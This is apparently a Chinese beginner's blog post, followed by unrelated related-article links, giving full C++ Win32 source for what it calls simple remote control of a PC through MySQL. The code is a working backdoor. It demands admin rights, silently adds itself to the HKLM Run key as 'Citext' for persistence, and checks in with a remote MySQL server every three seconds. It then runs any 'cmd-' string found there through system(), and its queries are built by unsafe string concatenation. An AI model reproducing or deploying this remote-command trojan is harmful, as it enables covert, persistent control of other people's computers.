演示视频:

大致步骤就是:

软件打开后查询本程序是否已经写入开机自启动了, 有就不写启动 没有的话就写开机启动.

创建一个线程

在线程里边 执行mysql读写操作 具体看代码把 虽然写的不咋地 毕竟新手嘛

有很多bug 大致还是能运行的嘿嘿0.0 技术交流请在网页底部点击加入交流群!

下面我贴出代码 :

环境VS2013

#include

#include

#include

#include

#include

using namespace std;//名称空间

/*---------------------------------------------------------------------------*/

DWORD WINAPI ThreadProc(LPVOID lpParam);

/*---------------------------------------------------------------------------*/

string getTime();//获取现行时间

string Gethost();//获取计算机名

/*---------------------------------------------------------------------------*/

bool z = true;

MYSQL myData;

MYSQL_RES *mysql_res;// mysql结果集

MYSQL_ROW mysql_row;// mysql行操作符

int res;

/*---------------------------------------------------------------------------*/

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevstance, PSTR SzCmdLine, int nCmdShow)

{

if (!IsUserAnAdmin())

{

MessageBox(NULL, "请以管理员身份运行!", "erro", MB_ICONASTERISK | MB_OK);

return 0;

}

//检测本程序启动项是否存在不存在则创建存在则啥都不干!

HKEY hKEY;

//访问注册表,hHEY则保存此函数所打开的句柄

LONG lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_QUERY_VALUE | KEY_WOW64_64KEY, &hKEY);//打开成功返回0

if (lResult)

{

MessageBox(NULL,"Open the failure!!","erro",MB_OK);

return 0;

}

//RUN项下的Citext数值

TCHAR owner_Get[256] = {0};

DWORD dwBuffer = sizeof(owner_Get);

lResult = RegQueryValueEx(hKEY, "Citext", NULL, 0, (BYTE*)owner_Get, &dwBuffer);//查询到就会返回0

if (lResult)//如果是1那当然是没有了所以执行写开机启动项操作

{

//MessageBox(NULL, "查询的键不存在!", "提示", MB_OK);

RegCloseKey(hKEY);//先关闭上次查询所使用到的注册表,以免发生不可知错误

//获取本程序路径保存在a这个变量里面

char a[MAX_PATH];

GetModuleFileNameA(NULL, a, MAX_PATH);

//MessageBox(NULL, a, "", MB_OK);

//然后把本程序路径写到RUN项下

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKEY) == 0)

{

//打开注册表成功!

if (!RegSetValueExA(hKEY, "Citext", 0, REG_SZ, (LPBYTE)&a, sizeof(a)) == 0)//设置启动项命令

{

MessageBox(NULL, "Write failure!", "erro", MB_OK);//失败

}

}

RegCloseKey(hKEY);//关闭注册表

}

//下面创建线程

HANDLE hThread;

DWORD dwThreadId;

hThread = CreateThread(NULL, NULL, ThreadProc, NULL, 0, &dwThreadId);

WaitForSingleObject(hThread, INFINITE);//当指定的对象处于有信号状态或者等待时间结束的状态时,此函数返回。

CloseHandle(hThread);//关闭线程句柄

return 0;

}

int rsql(string sql)

{

mysql_init(&myData);//初始化mysql

if (!mysql_real_connect(&myData, "你自己的数据库地址", "用户名", "密码", "数据库名称", MYSQL_PORT, NULL, 0))

{

MessageBox(NULL, mysql_error(&myData), "erro", MB_OK);

z = false;

}

mysql_query(&myData, "set names gb2312");

res = mysql_query(&myData, sql.c_str());

if (res)

{

return 0;

mysql_close(&myData);

}

return 1;

}

//向mysql写入数据线程

DWORD WINAPI ThreadProc(LPVOID lpParam)

{

rsql("insert into server(host) values('" + Gethost() + "')");//向host插入主机

while (z)

{

Sleep(3000);

rsql("UPDATE server SET time = '" + getTime() + "' WHERE host = '" + Gethost() + "'");//更新指定主机的time

mysql_query(&myData, "select * from server");

mysql_res = mysql_store_result(&myData);

while ((mysql_row = mysql_fetch_row(mysql_res)))//每一次mysql_fetch_row()都获得当前行数据库,并赋值给数组row,然后自动滑向下一行;在取出最后一行后,函数将返回false,循环结束。就可以把结果集中的所有数据逐行取出并显示。

{

for (unsigned t = 0; t < mysql_num_fields(mysql_res); t++)//mysql_num_fields()取数据表中的字段数

{

OutputDebugString(mysql_row[t]);//调试输出

OutputDebugString("\n");//调试输出

if (strstr(mysql_row[t], Gethost().c_str()))

{

if (strstr((LPCSTR)mysql_row[t + 2], "cmd-"))

{

string data = (LPCSTR)mysql_row[t + 2];

string cmd = data.substr(4, data.length() - 4);

system(cmd.c_str());

}

}

}

}

mysql_free_result(mysql_res);

mysql_close(&myData);

}

return 0;

}

//Get计算机名称

string Gethost()

{

char szBuffer[MAX_PATH];

DWORD dwNameLen;

dwNameLen = MAX_PATH;

if (GetComputerName(szBuffer, &dwNameLen))

{

return szBuffer;

}

return "错误";

}

// Get Time

string getTime()

{

time_t timep;

time(&timep);

char tmp[64];

strftime(tmp, sizeof(tmp), "%Y-%m-%d %H:%M:%S", localtime(&timep));

return tmp;

}

下面是我数据库中的表配置图片 你的表和数据库也要设置好哦 我的数据表名称是server

数据字段名

c 读取mysql 并显示_c/c++ mysql读取操作实现简单操控电脑相关推荐

  1. mysql as tmp,启动mysql时显示:/tmp/mysql.sock 不存在的解决办法

    启动mysql时显示:/tmp/mysql.sock 不存在的解决方法 启动mysql时显示:/tmp/mysql.sock 不存在的解决方法 启动mysql时报错的解决(mysql 5.0.45 r ...

  2. 启动mysql时显示:/tmp/mysql.sock 不存在的解决方法

    启动mysql时显示:/tmp/mysql.sock 不存在的解决方法 参考文章: (1)启动mysql时显示:/tmp/mysql.sock 不存在的解决方法 (2)https://www.cnbl ...

  3. MySQL查询时记录行号rownum MySQL查询显示行号MySQL查询显示行号MySQL流水号自MySQL自增行号

    MySQL查询时记录行号rownum MySQL查询显示行号MySQL查询显示行号MySQL流水号自MySQL自增行号 一.前言 Oracle中有rownum,实现查询的时候记录行号,MySQL中没有 ...

  4. c 怎么连接mysql博客_C连接MySql数据库

    我用的是dev-c++ 4.9.9.2 with Mingw/GCC 3.4.2加C语言连接mySQL 如果使用的是msvc的编译器,那么使用的libmysql.lib是没问题的,但是如果使用的是mi ...

  5. c mysql 连接实例_c连接mysql数据库实例

    c连接mysql数据库实例 连接数据库test 用户名root密码abc 在里面有一个username的表,describe username结果如下 mysql>; describe user ...

  6. c# 向mysql插入数据_C#连接mysql数据库 及向表中插入数据的方法

    mysql 语句操作: 创建数据库:create database hotelATMDb; use hotelATMDb; C#连接mysql 1.引用 dll MySql.Data.dll 下载地址 ...

  7. c# mysql 批量导入_C#:MySql批量数量导入

    现在对数据库(以MySql为例)的操作大多会封装成一个类,如下例所示: namespace TESTDATABASE { public enum DBStatusCode { ALL_OK, MySq ...

  8. mysql随机显示记录_MySQL随机读取表中记录

    order by rand()来实现 select * from table order by rand(); 内存临时表 order by rand() 是一般通过内存临时表排序,可以通过执行计划e ...

  9. C#返回mysql查询结果_c#查询MySQL是怎么接收返回结果的

    刚找了个例子,是下面的代码片段.来自 http://blog.csdn.net/u010580422/article/details/45851237 关于最后两行代码有点问题 1.fill 函数似乎 ...

最新文章

  1. jquery autocomplete demo
  2. error 系统错误 错误码10007_为什么阿里巴巴禁止工程师直接使用日志系统( Log4j 、Logback )中的 API...
  3. mysqladmin mysql,mysql,mysqladmin,mysqld之间的区别
  4. 给 SAP BTP 创建的 Java 应用添加 Custom Event Handler 支持创建功能
  5. 外卖红包深度研究报告:千亿市场下的公号私域
  6. 妙用Python集合求解啤酒问题(携程2016笔试题)
  7. iostream stdlib fstream io.h 头文件的作用
  8. python c/s模式下的内存监控模拟代码
  9. 连接mysql的各种方式
  10. matlab 求反余弦,matlab中反余弦函数
  11. ArcGIS投影坐标系xy转地理坐标系经纬度
  12. 怎么批量查询银行卡号是哪个银行?
  13. 鲲鹏920是计算机CPU吗,华为鲲鹏920
  14. CSDN 第六期编程竞赛做题记录
  15. 据说,这四招能提高你的打字速度 快来试试
  16. 三菱 FX5U PLC结构化4轴伺服机器人程序
  17. 【c语言】进阶篇学习笔记
  18. Istio Security - Istio安全框架
  19. 《诗水人间优秀博客》摘选目录
  20. 根据ip查服务器信息,根据IP查询云服务器

热门文章

  1. 占据语音入口?苹果或将在2020年WWDC上推出SiriOS
  2. 为什么现在越来越多的人不愿换新机?最后一个原因扎心了
  3. 真安卓机皇!华为P30 Pro包揽《智能硬件质量报告》多项大奖
  4. 成立烘焙公司、买茶饮 瑞幸咖啡谋变破局
  5. 唏嘘!一代国产手机巨头走向终点:官网已无法访问
  6. c语言文件操作函数(未完待续)
  7. shell 12 21 filename重定向的含义和区别
  8. c语言怎么把字符型数字变成整型数字,怎么把数字变成字符型
  9. 计算机网络实验二抓包协议分析,计算机网络实验-使用Wireshark分析TCP和UDP协议...
  10. 【算法】剑指 Offer 45. 把数组排成最小的数 【重刷】